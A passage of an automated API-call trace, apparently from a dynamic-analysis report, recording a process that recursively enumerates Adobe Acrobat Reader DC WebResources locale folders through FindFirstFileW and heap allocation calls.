ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.032] GetProcessHeap () returned 0xc10000 [0260.032] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.034] GetProcessHeap () returned 0xc10000 [0260.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.034] GetProcessHeap () returned 0xc10000 [0260.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.035] GetProcessHeap () returned 0xc10000 [0260.035] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.035] GetProcessHeap () returned 0xc10000 [0260.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.036] GetProcessHeap () returned 0xc10000 [0260.036] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.036] GetProcessHeap () returned 0xc10000 [0260.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.037] GetProcessHeap () returned 0xc10000 [0260.037] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.037] GetProcessHeap () returned 0xc10000 [0260.037] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.039] GetProcessHeap () returned 0xc10000 [0260.040] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.040] GetProcessHeap () returned 0xc10000 [0260.040] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0260.041] GetProcessHeap () returned 0xc10000 [0260.041] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.041] GetProcessHeap () returned 0xc10000 [0260.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0260.042] GetProcessHeap () returned 0xc10000 [0260.042] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.042] GetProcessHeap () returned 0xc10000 [0260.042] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.043] GetProcessHeap () returned 0xc10000 [0260.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.043] GetProcessHeap () returned 0xc10000 [0260.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.044] GetProcessHeap () returned 0xc10000 [0260.044] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.044] GetProcessHeap () returned 0xc10000 [0260.044] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0260.044] GetProcessHeap () returned 0xc10000 [0260.044] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.045] GetProcessHeap () returned 0xc10000 [0260.045] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.046] GetProcessHeap () returned 0xc10000 [0260.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.046] GetProcessHeap () returned 0xc10000 [0260.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.047] GetProcessHeap () returned 0xc10000 [0260.047] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.047] GetProcessHeap () returned 0xc10000 [0260.047] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0260.048] GetProcessHeap () returned 0xc10000 [0260.048] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.048] GetProcessHeap () returned 0xc10000 [0260.048] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0260.048] GetProcessHeap () returned 0xc10000 [0260.048] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0260.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.049] GetProcessHeap () returned 0xc10000 [0260.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.049] GetProcessHeap () returned 0xc10000 [0260.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.050] GetProcessHeap () returned 0xc10000 [0260.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0260.050] GetProcessHeap () returned 0xc10000 [0260.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0260.051] GetProcessHeap () returned 0xc10000 [0260.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0260.051] GetProcessHeap () returned 0xc10000 [0260.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0260.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0260.053] GetProcessHeap () returned 0xc10000 [0260.053] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0260.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.055] GetProcessHeap () returned 0xc10000 [0260.055] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0260.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\Sample Files\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.059] GetProcessHeap () returned 0xc10000 [0260.059] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0260.059] GetProcessHeap () returned 0xc10000 [0260.059] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0260.059] GetProcessHeap () returned 0xc10000 [0260.059] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0260.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.060] GetProcessHeap () returned 0xc10000 [0260.060] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0260.060] GetProcessHeap () returned 0xc10000 [0260.060] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0260.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0260.061] GetProcessHeap () returned 0xc10000 [0260.061] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0260.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0260.063] GetProcessHeap () returned 0xc10000 [0260.063] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.064] GetProcessHeap () returned 0xc10000 [0260.064] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.064] GetProcessHeap () returned 0xc10000 [0260.064] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.065] GetProcessHeap () returned 0xc10000 [0260.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.065] GetProcessHeap () returned 0xc10000 [0260.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.067] GetProcessHeap () returned 0xc10000 [0260.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.067] GetProcessHeap () returned 0xc10000 [0260.067] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0260.287] GetProcessHeap () returned 0xc10000 [0260.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.287] GetProcessHeap () returned 0xc10000 [0260.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.289] GetProcessHeap () returned 0xc10000 [0260.289] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.289] GetProcessHeap () returned 0xc10000 [0260.289] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.289] FindFirstFileW (in: 